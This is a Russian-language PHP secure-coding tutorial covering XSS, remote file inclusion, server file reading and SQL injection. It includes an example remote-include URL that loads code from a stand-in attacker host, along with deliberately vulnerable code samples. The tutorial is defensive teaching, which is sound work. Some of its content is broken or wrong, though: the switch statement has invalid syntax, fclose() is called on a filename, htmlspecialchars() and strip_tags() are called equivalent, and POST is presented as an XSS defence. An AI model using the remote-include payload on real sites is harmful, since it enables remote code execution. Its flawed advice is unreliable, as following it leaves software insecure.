Безопасное программирование

1. XSS (CrossSiteScripting)
Обычно такая ошибка возникает, когда какому-либо скрипту передается параметр, который впоследствии выводится на html-страницу, при этом не проходя определенную фильтрацию на содержание тегов. Рассмотрим пример подобной уязвимости, которую я нашел в декабре 2004 года на mail.ru (эх, жалко, что я тогда даже не знал, что это - уязвимость): при отправке письма пользователю надо заполнить форму, в которой указывался адрес получателя, тема письма, ну и само письмо (правда, контент письма не играл не какой роли). При нажатии кнопки "Отправить" отправитель переходил на страницу, на которой ему сообщалось, что сообщение для такого-то с темой такой-то успешно отправлено. Но уязвимость заключалась в том, что адрес получателя и тема письма передавались этой странице в открытом виде методом GET, т.е. эти данные отражались в адресной строке. Увидев это, у меня возникло желание заменить параметры на html-теги. Сработало! А значит, если передавать в параметр java-script, то он будет выполняться у любого юзера, который откроет "такую" страницу. Теперь подробнее о том, как избежать такой уязвимости при создании своего скрипта. Основное правило - фильтрация входных данных, поступающих от пользователя. В php это делается функциями htmlspecialchars() и striptags(). Лично я пользуюсь последней, но принципиальной разницы нету, обе функции равноправны. Они просто удаляют теги из входной строки (естественно, можно задавать разрешенные теги). И ещё один совет: если вы пользуетесб html-формами для взаимодействия со скриптами, то метод, с помощью которого они будут передавать данные должен быть "POST"!!! Это, по крайней мере, не будет в открытом виде высвечивать в адресной строке, что и куда передаётся: В более-менее продвинутых форумах сейчас также практикуется XSS через BBcode, но об этом уже не в этой статье:

2. Ошибка php-include
В суть самой уязвимости, как я сказал в начале, я вникать не буду, а сразу перейду к способам её устранения. Чтобы избежать присоединения "левого" кода к вашему скрипту, есть один проверенный способ: пропустить входные данные (имя присоединяемого файла) через оператор условия. Например:

<?
switch ($file):
{
case("articles"): include ("articles.php");break;
case("news"): include ("news.php");break;
default: include("index.php");break;// - это защита от подстановки неправильных данных
}
?>

Также, можно использовать оператор "if". Из своего личного опыта могу сказать, что довольно часто встречалась такая ситуация: есть файл index.php, в котором объявляется какой-нибудь статический файл, и к этому index.php функцией include присоединялся другой php-файл, в котором уже шла работа непосредственно с тем статическим файлом. На примере это выглядит примерно так:

<?
//Файл index.php
$f="some_file.php";
include("file_functions.php");
.
.
.
?>

а в файле file_functions.php примерно такое содержание:

<?
//Файл file_functions.php
include($f);
.
. :.some actions
.
?>

Таким образом, присоединяемый файл some_file.php объявлен во внешнем файле, и если вызвать отдельно "file_functions.php?f=http://attacer_site/evil_script.php", то выполнится код, содержащийся в удаленном скрипте evil_script.php (при условии, что в настройках PHP есть разрешение инклудить файлы извне и включен флаг register_globals=on). Всем этим я хотел сказать, что объявлять файл надо в том же скрипте, который с этим файлом и работает (фууф, надеюсь, все понятно).

3. Чтение файлов на сервере
Ситуация чем то похожа на предыдущую, потому опять же, очень часто файл, с которым идет работа объявляется совершенно не там где надо. Вот пример:
Есть файл index.php, содержащий такой код:

<?
//Файл index.php
$f="some_file.txt"; //расширение может быть любым
include ("file_functions.php");
.
.
.
?>

А вот такой код содержится в файле file_functions.php:
<?
//Файл file_functions.php
$file=fopen("$f","r");
.
.//some actions (чтение и вывод, например)
.
fclose("$f");
?>

Поэтому опять же повторю, что объявлять файл, с которым работает скрипт надо именно в этом скрипте, чтобы избежать попадания информации ко взломщику.

4. SQL-injection
Сегодня уже можно с уверенностью сказать, что если скрипт вызывается с параметром "id", или чем-то похожим, то он (скрипт) работает с БД, и этот самый параметр участвует в запросе. Как правило, в параметр, a участвующий в запросе, передается числовое значение поля, по которому данные изымаются из таблицы. Чтобы избежать изменения запроса (посредством изменения параметра: добавление кавычек, union select, или других выражений MYSQL), нужно, чтобы в параметр передавалось ТОЛЬКО ЧИСЛО. В этом поможет функция intval(), которая преобразует заданную переменную в числовую. Пример:

<?
$var="100asd";
$var=intval($var);
echo "$var";
?>